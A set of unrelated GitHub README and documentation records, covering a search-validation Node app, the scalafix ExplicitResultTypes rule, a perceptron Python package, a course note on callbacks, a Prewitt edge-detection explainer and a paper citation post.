Created out of the need to validate that backend changes we're making to search in Lithium communities is making an improvement, and to give stakeholders something tangible while the feature is being built out.

Getting started:
-------

npm install
node app.js


text:
---
layout: docs
id: ExplicitResultTypes
title: ExplicitResultTypes
---

This rewrite inserts type annotations for inferred public members. Only compatible with
scala 2.12 & 2.13.

Example:

```diff
- def myComplexMethod = 1.to(10).map(i => i -> i.toString).toMap
+ def myComplexMethod: Map[Int, String] = 1.to(10).map(i => i -> i.toString).toMap
```

## Configuration

By default, only rewrite adds type annotations for public members that have
non-trivial bodies.

```scala mdoc:passthrough
import scalafix.internal.rule._
```

```scala mdoc:passthrough
println(
scalafix.website.rule("ExplicitResultTypes", ExplicitResultTypesConfig.default)
)
```

## Known limitations

This rule has several known limitations, which are most likely fixable with some
effort. At the time of this writing, there are no short-term plans to address
these issues however.

### Imports ordering

The rewrite inserts imports at the bottom of the global import list. Users are
expected to organize the imports according to the conventions of their codebase.

For example, the rewrite may produce the following diff.

```diff
import java.io.File
import scala.collection.mutable
+ import java.util.UUID
```

Potential workarounds:

- use https://github.com/NeQuissimus/sort-imports
- use https://github.com/liancheng/scalafix-organize-imports
- run "organize imports" refactoring in IntelliJ

repository: scalacenter/scalafix

gha_language: Scala

repo_name: scalacenter/scalafix


text:
# oneNeuron_pypi
oneNeuron_pypi

## How to use this

```python

from oneNeuron.perceptron import Perceptron

## get x and y and then use below commands

model = Perceptron(eta=eta, epochs=epochs)
model.fit(X,y)

```

## Reference

[official python doc](https://packaging.python.org/tutorials/packaging-projects/)

[github docs for github actions](https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries)


text:
Asynchronous Programming - Callbacks
================

Using Callbacks for asynchronous tasks.

  - [Video Walkthrough of
    Code](https://northwestern.hosted.panopto.com/Panopto/Pages/Viewer.aspx?id=41470293-69c5-4378-ae4d-aaec015d045a)

url: https://raw.githubusercontent.com/papagorgio23/Northwestern/043a88b3b3714a91b510a255cda92268eefbbd4a/440 - Application Engineering/Asynch Callbacks/README.md

gha_language: Jupyter Notebook


text:
# Prewitt Edge Detection

## Introduction

* Prewitt operator is used for edge detection in an image. It detects two types of edges. Horizontal edges. Vertical Edges.

### How Algorithms Works?

* Edges are calculated by using difference between corresponding pixel intensities of an image. All the masks that are used for edge detection are also known as derivative masks. Because as we have stated many times before in this series of tutorials that image is also a signal so changes in a signal can only be calculated using differentiation. So that’s why these operators are also called as derivative operators or derivative masks.

* All the derivative masks should have the following properties:
              - Opposite sign should be present in the mask.
              - Sum of mask should be equal to zero.
              - More weight means more edge detection.
Step 1: Input – Read an image

Step 2: Convert the true-color RGB image to the grayscale image

Step 3: Convert the image to double

Step 4: Pre-allocate the filtered_image matrix with zeros

Step 5: Define Prewitt Operator Mask

Step 6: Edge Detection Process (Compute Gradient approximation and magnitude of vector)

Step 7: Display the filtered image

Step 8: Thresholding on the filtered image

Step 9: Display the edge-detected image

(For more details regarding Stages check first Refrence link )

### Advantages

*  Good performance on detecting vertical and horizontal edges.
*  Best operator to detect the orientation of an image.
### Disadvantages

* The magnitude of coefficient is fixed and cannot be changed.
* Diagonal direction points are not preserved always.

### Applications

* it is a discrete differentiation operator, computing an approximation of the gradient of the image intensity function.

* Widely used in Computer Vision.

* main application of edge detection is in detecting objects in an image.

### References

* https://www.tutorialspoint.com/dip/prewitt_operator.htm

* https://www.geeksforgeeks.org/matlab-image-edge-detection-using-prewitt-operator-from-scratch/

* https://medium.com/@nikatsanka/comparing-edge-detection-methods-638a2919476e

* https://www.youtube.com/watch?v=EDNS2UYG-0I


text:
---
layout: post
section-type: post
title: Using topic models to bridge coding schemes of differing granularity
category: Category
tags: ['research','publications','conference-short','guru','nlp','its','education-research','discourse']
---
Cade, W. L., & Olney, A. M. (2010). Using topic models to bridge coding schemes of differing granularity. In R. Baker, A. Merceron, & P. J. Pavlik (Eds.), Proceedings of the International Conference on Educational Data Mining (pp. 281–282).

<object data="https://blogs.memphis.edu/aolney/files/2019/10/cade_edm_2010.pdf" type="application/pdf" width="100%" height="600px">

It appears you don't have a PDF plugin for this browser.
  No biggie... you can click here to
  download the PDF file.

</object>

url: https://raw.githubusercontent.com/aolney/aolney.github.io/07696de2e61a9f2914e194d4d4785002cf79247e/_posts/2010-01-01-Cade W L  Olney A M 2010 Using.md